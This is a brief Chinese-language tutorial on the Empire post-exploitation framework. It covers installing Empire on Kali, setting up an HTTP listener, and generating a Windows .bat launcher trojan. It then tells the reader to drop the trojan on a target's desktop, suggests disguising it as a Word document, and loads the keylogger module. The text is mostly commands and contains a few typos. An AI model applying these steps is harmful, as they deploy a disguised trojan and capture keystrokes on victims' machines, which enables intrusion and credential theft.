网络渗透之帝国

1.下载帝国的三个方法
1.1 window中通过网站下载Releases · EmpireProject/Empire · GitHub

使用empire2.5版本，不是所有电脑都适用（kali）  

 1.2 kali中直接下载
（root账号下执行命令）

git clone https://github.com/BC-SECURITY/Empire   #下载帝国

cd  Empire

查看python环境
python

python2

exit()退出python环境

 1.3 kali中通过powershell安装
1.3.1开启服务
 sudo  apt install powrshell-empire  #安装帝国

  powershell-empire  server  #开启服务

 powershell-empire  client  #开启客户端

  

 2.监听命令
2.1监听hhtp
 listeners  #进入监听界面

 #进入http监听模式

2.2设置监听
set  Name text1  #设置一个监听

set  Host  192.168.48.128/9999

set  Port 9999

 execute #回到监听页面

list / listeners

2.3木马
2.3.1 生成bat类型的木马
uselistener

usestager windows/launcher_bat 

info  #查看一些基本信息

  set Listener text1 #设置你想使用哪个监听线程

 按照路径提示找木马文件

 agents  #查看监听状态

interact  代理名称  #连接操作系统

复制生成的木马发送到主机桌面

bat可以使用word进行伪装

 2.3.2 监听键盘
usemodule powershell/collection/keylogger